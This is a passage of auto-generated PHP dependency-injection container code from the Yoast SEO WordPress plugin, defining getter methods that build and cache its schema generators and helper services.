($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator */ protected function getOpenGraphLocaleGeneratorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Article' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Article */ protected function getArticleService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Article'] = new \Yoast\WP\SEO\Generators\Schema\Article(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Author' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Author */ protected function getAuthorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Author'] = new \Yoast\WP\SEO\Generators\Schema\Author(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Breadcrumb' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Breadcrumb */ protected function getBreadcrumbService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb'] = new \Yoast\WP\SEO\Generators\Schema\Breadcrumb(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\FAQ' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\FAQ */ protected function getFAQService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\FAQ'] = new \Yoast\WP\SEO\Generators\Schema\FAQ(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\HowTo' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\HowTo */ protected function getHowToService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\HowTo'] = new \Yoast\WP\SEO\Generators\Schema\HowTo(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Main_Image' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Main_Image */ protected function getMainImageService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image'] = new \Yoast\WP\SEO\Generators\Schema\Main_Image(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Organization' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Organization */ protected function getOrganizationService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Organization'] = new \Yoast\WP\SEO\Generators\Schema\Organization(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Person' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Person */ protected function getPersonService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Person'] = new \Yoast\WP\SEO\Generators\Schema\Person(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\WebPage' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\WebPage */ protected function getWebPageService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\WebPage'] = new \Yoast\WP\SEO\Generators\Schema\WebPage(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema\Website' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema\Website */ protected function getWebsiteService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Website'] = new \Yoast\WP\SEO\Generators\Schema\Website(); } /** * Gets the public 'Yoast\WP\SEO\Generators\Schema_Generator' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Schema_Generator */ protected function getSchemaGeneratorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] = new \Yoast\WP\SEO\Generators\Schema_Generator(($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] ?? $this->getHelpersSurfaceService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper'] ?? $this->getReplaceVarsHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Generators\Twitter_Image_Generator' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Twitter_Image_Generator */ protected function getTwitterImageGeneratorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] = new \Yoast\WP\SEO\Generators\Twitter_Image_Generator(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Aioseo_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Aioseo_Helper */ protected function getAioseoHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] = new \Yoast\WP\SEO\Helpers\Aioseo_Helper(($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper'] ?? $this->getWpdbHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Asset_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Asset_Helper */ protected function getAssetHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Asset_Helper'] = new \Yoast\WP\SEO\Helpers\Asset_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper */ protected function getAttachmentCleanupHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Author_Archive_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Author_Archive_Helper */ protected function getAuthorArchiveHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] = new \Yoast\WP\SEO\Helpers\Author_Archive_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Blocks_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Blocks_Helper */ protected function getBlocksHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Blocks_Helper'] = new \Yoast\WP\SEO\Helpers\Blocks_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Capability_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Capability_Helper */ protected function getCapabilityHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper */ protected function getCrawlCleanupHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Curl_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Curl_Helper */ protected function getCurlHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Curl_Helper'] = new \Yoast\WP\SEO\Helpers\Curl_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Current_Page_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Current_Page_Helper */ protected function getCurrentPageHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] = new \Yoast\WP\SEO\Helpers\Current_Page_Helper(($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Date_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Date_Helper */ protected function getDateHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Environment_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Environment_Helper */ protected function getEnvironmentHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper */ protected function getFirstTimeConfigurationNoticeHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper'] = new \Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Home_Url_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Home_Url_Helper */ protected function getHomeUrlHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper'] = new \Yoast\WP\SEO\Helpers\Home_Url_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Image_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Image_Helper */ protected function getImageHelperService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'])) { return $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']; } return $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Image_Helper($a, ($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Import_Cursor_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Import_Cursor_Helper */ protected function getImportCursorHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Cursor_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Import_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Import_Helper */ protected function getImportHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Indexable_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Indexable_Helper */ protected function getIndexableHelperService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'])) { return $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']; } $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Indexable_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper())), $a); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper */ protected function getIndexableToPostmetaHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper'] = new \Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Indexing_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Indexing_Helper */ protected function getIndexingHelperService() { $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Indexing_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService())); $instance->set_indexing_actions(($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] ?? $this->getIndexablePostIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] ?? $this->getIndexableTermIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] ?? $this->getIndexablePostTypeArchiveIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] ?? $this->getIndexableGeneralIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] ?? $this->getTermLinkIndexingActionService())); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Helpers\Language_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Language_Helper */ protected function getLanguageHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Meta_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Meta_Helper */ protected function getMetaHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Notification_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Notification_Helper */ protected function getNotificationHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper */ protected function getImageHelper2Service() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'])) { return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']; } return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), $a); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper */ protected function getValuesHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Options_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Options_Helper */ protected function getOptionsHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Pagination_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Pagination_Helper */ protected function getPaginationHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] = new \Yoast\WP\SEO\Helpers\Pagination_Helper(($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper())), ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Permalink_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Permalink_Helper */ protected function getPermalinkHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Post_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Post_Helper */ protected function getPostHelperService() { $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Post_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Helpers\Post_Type_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Post_Type_Helper */ protected function getPostTypeHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] = new \Yoast\WP\SEO\Helpers\Post_Type_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Primary_Term_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Primary_Term_Helper */ protected function getPrimaryTermHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Product_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Product_Helper */ protected function getProductHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Redirect_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Redirect_Helper */ protected function getRedirectHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Request_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Request_Helper * * @deprecated Since Yoast\WP\SEO\Helpers\Request_Helper 23.6: Yoast\WP\SEO\Helpers\Request_Helper is deprecated since version 23.6! */ protected function getRequestHelperService() { trigger_deprecation('Yoast\\WP\\SEO\\Helpers\\Request_Helper', '23.6', 'Yoast\\WP\\SEO\\Helpers\\Request_Helper is deprecated since version 23.6!'); return $this->services['Yoast\\WP\\SEO\\Helpers\\Request_Helper'] = new \Yoast\WP\SEO\Helpers\Request_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Require_File_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Require_File_Helper */ protected function getRequireFileHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Robots_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Robots_Helper */ protected function getRobotsHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Robots_Txt_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Robots_Txt_Helper */ protected function getRobotsTxtHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Txt_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Route_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Route_Helper */ protected function getRouteHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Route_Helper'] = new \Yoast\WP\SEO\Helpers\Route_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Sanitization_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Sanitization_Helper */ protected function getSanitizationHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Article_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\Article_Helper */ protected function getArticleHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Article_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\HTML_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\HTML_Helper */ protected function getHTMLHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\HTML_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\ID_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\ID_Helper */ protected function getIDHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\ID_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Image_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\Image_Helper */ protected function getImageHelper3Service() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Image_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\HTML_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Language_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Language_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\Language_Helper */ protected function getLanguageHelper2Service() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Language_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper */ protected function getReplaceVarsHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper(($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\ID_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Score_Icon_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Score_Icon_Helper */ protected function getScoreIconHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper'] = new \Yoast\WP\SEO\Helpers\Score_Icon_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] ?? $this->getRobotsHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Short_Link_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Short_Link_Helper */ protected function getShortLinkHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] = new \Yoast\WP\SEO\Helpers\Short_Link_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Site_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Site_Helper */ protected function getSiteHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Social_Profiles_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Social_Profiles_Helper */ protected function getSocialProfilesHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] = new \Yoast\WP\SEO\Helpers\Social_Profiles_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? 